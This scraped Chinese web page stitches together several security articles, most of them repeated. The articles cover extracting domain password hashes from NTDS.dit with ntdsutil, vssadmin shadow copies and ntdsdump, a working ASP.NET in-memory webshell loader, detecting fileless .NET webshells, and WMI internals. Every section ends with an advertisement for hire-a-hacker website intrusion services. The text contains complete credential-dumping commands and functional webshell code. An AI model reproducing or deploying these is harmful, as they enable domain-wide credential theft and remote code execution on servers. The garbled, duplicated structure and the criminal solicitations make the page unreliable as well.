域内用户Hash获取
在渗透测试的过程中,当我们已经是域管权限时,就可以实现提取所有域内用户的密码哈希以进行离线破解和分析,这是非常常见的一个操作,这些哈希值存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如用户名、散列值、组、GPP、OU等于活动目录相关的信息,它和SAM文件一样都是被操作系统锁定的,因此无法直接复制到其他位置以提取信息。NTDS.dit文件位于Windows以下位置
NTDS提取
NTDSUTIL
NTDSUTIL是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数据库,但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取
之后在C:\ntdsutil中将生成两个新文件夹:Active Directory和Registry
TDS.DIT文件将保存在Active Directory中
SAM和SYSTEM文件将保存到Registry文件夹中
之后可以使用ntdsdump进行离线提取Hash:
ntdsdump.exe -f ntds.dit -s SYSTEM
ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC] * -f ntds.dit路径 * -k 可选的十六进制格式的SYSKEY * -s 可选的system.hiv路径 * -h 导出历史密码记录 * -t 导出格式,LC或JOHN * -o 导出到指定文件中 *
vssadmin
vssadmin是WIndows Server 2008和Win 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序等,在内网渗透测试过程中,我们也可以使用vssadminn来提取ntds.dit文件,流程如下:
Step 1:在域控制器中打开命令环境,输入如下命令,创建一个C盘的影卷拷贝:
vssadmin create shadow /for=c:
Step 2:将NTDS.dit和SYSTEM文件从创建的影卷中复制出来
之后可以在C盘中看到成功复制ntds.dit文件
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
在渗透测试的过程中,当我们已经是域管权限时,就可以实现提取所有域内用户的密码哈希以进行离线破解和分析,这是非常常见的一个操作,这些哈希值存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如用户名、散列值、组、GPP、OU等于活动目录相关的信息,它和SAM文件一样都是被操作系统锁定的,因此无法直接复制到其他位置以提取信息。NTDS.dit文件位于Windows以下位置
C:\Windows\NTDS\NTDS.dit
NTDS提取
NTDSUTIL
NTDSUTIL是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数据库,但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
之后在C:\ntdsutil中将生成两个新文件夹:Active Directory和Registry
TDS.DIT文件将保存在Active Directory中
SAM和SYSTEM文件将保存到Registry文件夹中
之后可以使用ntdsdump进行离线提取Hash:
ntdsdump.exe -f ntds.dit -s SYSTEM
ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC] * -f ntds.dit路径 * -k 可选的十六进制格式的SYSKEY * -s 可选的system.hiv路径 * -h 导出历史密码记录 * -t 导出格式,LC或JOHN * -o 导出到指定文件中 *
vssadmin
vssadmin是WIndows Server 2008和Win 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序等,在内网渗透测试过程中,我们也可以使用vssadminn来提取ntds.dit文件,流程如下:
Step 1:在域控制器中打开命令环境,输入如下命令,创建一个C盘的影卷拷贝:
vssadmin create shadow /for=c:
Step 2:将NTDS.dit和SYSTEM文件从创建的影卷中复制出来
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\SYSTEM
之后可以在C盘中看到成功复制ntds.dit文件
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
dump内存检测assembly内容
通过上面的操作我们可以发现一些入侵的痕迹了,但是有个问题,.NET自带的api没有dump assembly内容的操作。攻击者可以把assembly弄一个高度相似的名字来隐藏自己,所以只看名字可能很容易被绕过,那么怎么才能dump出来assembly对应的内容呢。
经过一番查找,我找到了这样一个工具:https://github.com/wwh1004/ExtremeDumper,这个工具本来是用来脱壳解混淆的,但是内置了一个dump module的功能,可以把对应.NET进程加载的assembly给dump出来。
以iis进程为例,首先选中iisexpress.exe,右键View Modules
然后点击Path排序,这样就可以把InMemory的给筛选出来了。
选中对应的module,右键Dump Selected Module,保存到本地,用dnspy打开即可看到其中的Payload了。
后面又简单看了下他的原理:因为.NET二进制格式是以 Windows PE格式为基础的,所以只需要扫内存中的PE头,然后把对应的内存抠出来就可以了。 这样就实现了检测assembly内容的操作。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
通过上面的操作我们可以发现一些入侵的痕迹了,但是有个问题,.NET自带的api没有dump assembly内容的操作。攻击者可以把assembly弄一个高度相似的名字来隐藏自己,所以只看名字可能很容易被绕过,那么怎么才能dump出来assembly对应的内容呢。
经过一番查找,我找到了这样一个工具:https://github.com/wwh1004/ExtremeDumper,这个工具本来是用来脱壳解混淆的,但是内置了一个dump module的功能,可以把对应.NET进程加载的assembly给dump出来。
以iis进程为例,首先选中iisexpress.exe,右键View Modules
然后点击Path排序,这样就可以把InMemory的给筛选出来了。
选中对应的module,右键Dump Selected Module,保存到本地,用dnspy打开即可看到其中的Payload了。
后面又简单看了下他的原理:因为.NET二进制格式是以 Windows PE格式为基础的,所以只需要扫内存中的PE头,然后把对应的内存抠出来就可以了。 这样就实现了检测assembly内容的操作。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
ASP.NET 无文件攻击入侵检测
C# 中的assembly
首先了解一下C#中的assembly(程序集),看看官方文档是怎么描述的:
程序集构成了 .NET 应用程序的部署、版本控制、重用、激活范围和安全权限的基本单元。 程序集是为协同工作而生成的类型和资源的集合,这些类型和资源构成了一个逻辑功能单元。 程序集采用可执行文件 (.exe) 或动态链接库文件 (.dll) 的形式,是 .NET 应用程序的构建基块 。 它们向公共语言运行时提供了注意类型实现代码所需的信息。
在 .NET 和 .NET Framework 中,可从一个或多个源代码文件生成程序集。 在 .NET Framework 中,程序集可以包含一个或多个模块。 因此,大型项目可以采用以下规划:由多个开发者单独开发各源代码文件或模块,最后整合所有这些内容以创建一个程序集。
C# 代码文件编译后生成的程序模块叫做Assembly(程序集)。
程序集是.NET应用程序的 基本单元,一个软件可以是一个程序集,但更多时候是程序集组成的集合。
程序集可以是exe可执行文件,也可以是dll动态链接库文件。动态链接库中没有 Main 方法。
可以使用反射来加载调用。
Assembly Webshell原理
以上我们对Assembly有了个初步的认识:这玩意可以通过反射去加载一个任意的exe或者dll到内存中。跟Java的defineClass相比,Assembly.Load这个api更加强大:因为Java语言本身屏蔽了很多系统层面的api,而C#是微软推出的语言,在Windows平台有天生的优势。另外,程序集可以是一个或者多个程序集的集合,而Java的defineClass一次只能打进去一个类。这也是就为后渗透利用铺好了道路,很多提权exp都可以无文件加载,当然也可以进行无文件勒索等操作。
Java .NET
加载函数 Class.defineClass Assembly.Load
最小单元 Class Assembly
最小单元格式 字节码 PE
单次加载个数 单个类 可以是多个类
语言特性 屏蔽底层API 支持Windows API
之前可以执行任意代码的aspx一句话木马是利用Jscript.net的eval函数来实现的,通过向eval传递Jscript.net源代码来执行任意代码。rebeyond师傅在冰蝎中首次使用了assembly的方式来实现新的.NET一句话木马,扩展了.NET下一句话木马的利用面。
通过上面的"Loader",我们可以往内存中不落地加载一个任意的exe或者dll,那么怎么去检测注入的exe或者dll呢。这部分由浅入深分为三部分来写:
检测落地过的Webshell痕迹
发现assembly执行痕迹
dump出执行的assembly
检测落地过的Webshell痕迹
当未开启预编译时,.net采用动态编译, 也就是说我们常说的build生成的dll只是中间代码,而在web第一次请求的时候才是真正意义上的编译生成二进制代码。这也就是为什么刚编译完第一次打开web页面的时候会比较慢的原因。当我们第一次请求的时候,也就是正式编译的时候,dotnet会写一些临时文件到 %SystemRoot%\Microsoft.NET\Framework\versionNumber\Temporary ASP.NET Files 文件夹下。
当开启预编译时,一般会放在/Bin目录下。
所以当落地的aspx被删除,或者被注入内存马时,依旧可以通过这种方式来发现入侵的痕迹。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
C# 中的assembly
首先了解一下C#中的assembly(程序集),看看官方文档是怎么描述的:
程序集构成了 .NET 应用程序的部署、版本控制、重用、激活范围和安全权限的基本单元。 程序集是为协同工作而生成的类型和资源的集合,这些类型和资源构成了一个逻辑功能单元。 程序集采用可执行文件 (.exe) 或动态链接库文件 (.dll) 的形式,是 .NET 应用程序的构建基块 。 它们向公共语言运行时提供了注意类型实现代码所需的信息。
在 .NET 和 .NET Framework 中,可从一个或多个源代码文件生成程序集。 在 .NET Framework 中,程序集可以包含一个或多个模块。 因此,大型项目可以采用以下规划:由多个开发者单独开发各源代码文件或模块,最后整合所有这些内容以创建一个程序集。
C# 代码文件编译后生成的程序模块叫做Assembly(程序集)。
程序集是.NET应用程序的 基本单元,一个软件可以是一个程序集,但更多时候是程序集组成的集合。
程序集可以是exe可执行文件,也可以是dll动态链接库文件。动态链接库中没有 Main 方法。
可以使用反射来加载调用。
Assembly Webshell原理
以上我们对Assembly有了个初步的认识:这玩意可以通过反射去加载一个任意的exe或者dll到内存中。跟Java的defineClass相比,Assembly.Load这个api更加强大:因为Java语言本身屏蔽了很多系统层面的api,而C#是微软推出的语言,在Windows平台有天生的优势。另外,程序集可以是一个或者多个程序集的集合,而Java的defineClass一次只能打进去一个类。这也是就为后渗透利用铺好了道路,很多提权exp都可以无文件加载,当然也可以进行无文件勒索等操作。
Java .NET
加载函数 Class.defineClass Assembly.Load
最小单元 Class Assembly
最小单元格式 字节码 PE
单次加载个数 单个类 可以是多个类
语言特性 屏蔽底层API 支持Windows API
之前可以执行任意代码的aspx一句话木马是利用Jscript.net的eval函数来实现的,通过向eval传递Jscript.net源代码来执行任意代码。rebeyond师傅在冰蝎中首次使用了assembly的方式来实现新的.NET一句话木马,扩展了.NET下一句话木马的利用面。
<%@ Page Language="c#"%>
<%
String Payload = Request.Form["ant"]; //拿到要加载的payload
if (Payload != null)
{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));//反射加载到内存中
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(Context);//实例化调用,并传入上下文参数。
}
%>
通过上面的"Loader",我们可以往内存中不落地加载一个任意的exe或者dll,那么怎么去检测注入的exe或者dll呢。这部分由浅入深分为三部分来写:
检测落地过的Webshell痕迹
发现assembly执行痕迹
dump出执行的assembly
检测落地过的Webshell痕迹
当未开启预编译时,.net采用动态编译, 也就是说我们常说的build生成的dll只是中间代码,而在web第一次请求的时候才是真正意义上的编译生成二进制代码。这也就是为什么刚编译完第一次打开web页面的时候会比较慢的原因。当我们第一次请求的时候,也就是正式编译的时候,dotnet会写一些临时文件到 %SystemRoot%\Microsoft.NET\Framework\versionNumber\Temporary ASP.NET Files 文件夹下。
当开启预编译时,一般会放在/Bin目录下。
所以当落地的aspx被删除,或者被注入内存马时,依旧可以通过这种方式来发现入侵的痕迹。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
ConnectServerWmi函数的作用是链接WMI服务器,就像之前所说的,位于wminet_utils模块的函数,只是起到存根函数的作用,其最终会调用wbemprox的CLocator::ConnectServe函数。
在CLocator::ConnectServe函数中,最终会调用CDCOMTrans::DoActualConnection函数,其调用堆栈如下。
CDCOMTrans::DoActualConnection函数的主要作用是初始化_COSERVERINFO结构体,或者_COAUTHIDENTITY结构体。_COSERVERINFO结构体是一个包含激活功能的结构体。_COAUTHIDENTITY结构体则是一个包含域名,用户名密码的结构体。
最终调用CDCOMTrans::DoActualCCI函数,在CDCOMTrans::DoActualCCI函数中,最终会调用CoCreateInstanceEx函数,CoCreateInstanceEx函数可以在指定的远程计算机上创建与给定 CLSID 关联的单个未初始化对象。而CoCreateInstance也可以创建一个实例,但是CoCreateInstance与CoCreateInstanceEx函数的区别在于CoCreateInstanceEx可以创建远程计算机的实例。 CoCreateInstanceEx函数的第一个参数是CLSID,表示要实例化对象的CLSID。在上一篇文章中,检测远程WMI连接的CLSID的值为8BC3F05E-D86B-11D0-A075-00C04FB68820。这就是为什么只要针对这个CLSID检测就可以判断是WMI远程连接了。
WMI查询操作,是通过wminet_utils模块的ExecQueryWmi函数调用fastprox模块的CWbemSvcWrapper::XWbemServices::ExecQuery函数,而CWbemSvcWrapper::XWbemServices::ExecQuery的第二第三个参数分别表示执行的查询语句的类型,和SQL语句的内容。WMI拥有自己的查询语句,即WQL。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
在CLocator::ConnectServe函数中,最终会调用CDCOMTrans::DoActualConnection函数,其调用堆栈如下。
CDCOMTrans::DoActualConnection函数的主要作用是初始化_COSERVERINFO结构体,或者_COAUTHIDENTITY结构体。_COSERVERINFO结构体是一个包含激活功能的结构体。_COAUTHIDENTITY结构体则是一个包含域名,用户名密码的结构体。
最终调用CDCOMTrans::DoActualCCI函数,在CDCOMTrans::DoActualCCI函数中,最终会调用CoCreateInstanceEx函数,CoCreateInstanceEx函数可以在指定的远程计算机上创建与给定 CLSID 关联的单个未初始化对象。而CoCreateInstance也可以创建一个实例,但是CoCreateInstance与CoCreateInstanceEx函数的区别在于CoCreateInstanceEx可以创建远程计算机的实例。 CoCreateInstanceEx函数的第一个参数是CLSID,表示要实例化对象的CLSID。在上一篇文章中,检测远程WMI连接的CLSID的值为8BC3F05E-D86B-11D0-A075-00C04FB68820。这就是为什么只要针对这个CLSID检测就可以判断是WMI远程连接了。
WMI查询操作,是通过wminet_utils模块的ExecQueryWmi函数调用fastprox模块的CWbemSvcWrapper::XWbemServices::ExecQuery函数,而CWbemSvcWrapper::XWbemServices::ExecQuery的第二第三个参数分别表示执行的查询语句的类型,和SQL语句的内容。WMI拥有自己的查询语句,即WQL。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
windbg附加到WmiPrvSE.exe进程即WMI提供程序进程。因为WMI原理简单来说就是WMI消费程序通过WMI核心架构,向WMI提供程序请求数据,WMI提供程序返回相关结果。WmiPrvSE.exe进程其实是X64进程,当windbg中断在call RPCRT4!Invoke,根据x64函数的调用约定,rcx应该是需要invoke的函数,rdx应该是参数的缓冲区,r9d是参数个数。可以看到,服务端WmiPrvSE.exe接收到了数据,并准备调用CreateInstanceEnumAsync函数实例化Win32_Process。
Get函数最终是通过调用fastprox模块的CWbemObject::Get方法实现的,CWbemObject::Get主要有调用了两个方法,分别是CWbemInstance::GetProperty和CWbemInstance::GetPropertyType。
CWbemInstance::GetProperty函数主要是为了获取指定属性名的属性值,在其底层主要调用了CWbemObject::GetSystemPropertyByName或者CWbemInstance::GetNonsystemPropertyValue函数,前者主要获取的是系统属性值,而后者是获取非系统属性的属性值,在CSystemProperties::FindName函数中,可以看到系统属性有哪些。
在调用CWbemObject::GetSystemPropertyByName函数之前,在堆栈中看到需要查看的属性名为__PATH,调用结束后,可以看到返回的是一个CVar结构。CVAR偏移为0x00表示变量的类型,CVAR偏移为0x08,则表示变量的值。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Get函数最终是通过调用fastprox模块的CWbemObject::Get方法实现的,CWbemObject::Get主要有调用了两个方法,分别是CWbemInstance::GetProperty和CWbemInstance::GetPropertyType。
CWbemInstance::GetProperty函数主要是为了获取指定属性名的属性值,在其底层主要调用了CWbemObject::GetSystemPropertyByName或者CWbemInstance::GetNonsystemPropertyValue函数,前者主要获取的是系统属性值,而后者是获取非系统属性的属性值,在CSystemProperties::FindName函数中,可以看到系统属性有哪些。
在调用CWbemObject::GetSystemPropertyByName函数之前,在堆栈中看到需要查看的属性名为__PATH,调用结束后,可以看到返回的是一个CVar结构。CVAR偏移为0x00表示变量的类型,CVAR偏移为0x08,则表示变量的值。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
其获取进程数据的主要原理是第一次通过调用GetNames方法,获取系统属性名,然后依次调用Get方法获取属性名的属性值,接着第二次调用GetNames方法获取非系统属性值,然后依次调用Get方法获取属性值。
在分析这一部分的时候,因为wminet_utils模块中没有ExecMethod相关的函数,并没有像上面一样通过wminet_utils模块来寻求突破。我们都知道WMI底层是客户端通过RPC协议远程调用服务端的函数,并接收返回值。所以我决定在RPC底层,通过中断NdrClientStub2函数,然后追溯栈回溯的方法确定调用方。最终发现其直接调用了fastprox模块的IWbemServices::ExecMethod函数。
IWbemServices::ExecMethod函数的原型如下,第一个参数是Object的名字,第二个参数为函数名,第5个参数是指向传入参数的类。
根据微软的介绍,创建__PARAMETERS的实例的步骤如下:
确定包含方法定义的类的类路径。
使用从IWbemProviderInit::Initialize传入的类路径和IWbemServices指针,调用IWbemClassObject::GetMethod来检索输入和输出参数类。GetMethod方法返回一个IWbemClassObject用于访问每个类的指针。
使用输出类的IWbemClassObject指针,调用IWbemClassObject::SpawnInstance以创建类的实例。
通过设置与输出值对应的属性来填充类实例,如果方法有返回值,则设置ReturnValue属性。
通过IWbemObjectSink::Indicate方法将__PARAMETERS实例传递回调用者。
根据上述描述,我了解到了如果要创建这个一个__PARAMETERS实例,首先需要调用IWbemClassObject::SpawnInstance以创建类的实例,然后设置与输出值对应的属性来填充类实例。这里填充类实例是使用了CWbemInstance::Put函数。最终把SpawnInstance创建创建类的实例传入IWbemServices::ExecMethod的pInParams参数。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
在分析这一部分的时候,因为wminet_utils模块中没有ExecMethod相关的函数,并没有像上面一样通过wminet_utils模块来寻求突破。我们都知道WMI底层是客户端通过RPC协议远程调用服务端的函数,并接收返回值。所以我决定在RPC底层,通过中断NdrClientStub2函数,然后追溯栈回溯的方法确定调用方。最终发现其直接调用了fastprox模块的IWbemServices::ExecMethod函数。
IWbemServices::ExecMethod函数的原型如下,第一个参数是Object的名字,第二个参数为函数名,第5个参数是指向传入参数的类。
根据微软的介绍,创建__PARAMETERS的实例的步骤如下:
确定包含方法定义的类的类路径。
使用从IWbemProviderInit::Initialize传入的类路径和IWbemServices指针,调用IWbemClassObject::GetMethod来检索输入和输出参数类。GetMethod方法返回一个IWbemClassObject用于访问每个类的指针。
使用输出类的IWbemClassObject指针,调用IWbemClassObject::SpawnInstance以创建类的实例。
通过设置与输出值对应的属性来填充类实例,如果方法有返回值,则设置ReturnValue属性。
通过IWbemObjectSink::Indicate方法将__PARAMETERS实例传递回调用者。
根据上述描述,我了解到了如果要创建这个一个__PARAMETERS实例,首先需要调用IWbemClassObject::SpawnInstance以创建类的实例,然后设置与输出值对应的属性来填充类实例。这里填充类实例是使用了CWbemInstance::Put函数。最终把SpawnInstance创建创建类的实例传入IWbemServices::ExecMethod的pInParams参数。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke